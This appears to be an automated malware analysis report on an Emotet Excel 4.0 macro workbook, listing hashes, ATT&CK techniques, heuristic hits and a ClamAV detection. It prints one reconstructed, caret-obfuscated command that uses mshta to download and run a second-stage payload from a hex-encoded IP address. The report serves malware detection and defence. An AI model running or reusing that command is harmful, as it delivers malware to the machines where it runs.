Emotet Office (OLE) / .XLS malware analysis — malicious · f9d0374e24d3915c

MALICIOUS

Office (OLE) / .XLS

101.6 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel

MD5: d3751cde2596ad1ab70a9cec5f240d16 SHA-1: 855d4eafa1f788d4b7148bddc06528a42ad2d338 SHA-256: f9d0374e24d3915c8d3fb15780a2c8bcab25cdee19e998af945e38ad50a33665

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious File

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is confirmed by the extracted XLM macro script. This script contains a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html', indicating it downloads and executes a second-stage payload from the specified URL. ClamAV detection further attributes this to the Emotet family.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	2903 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.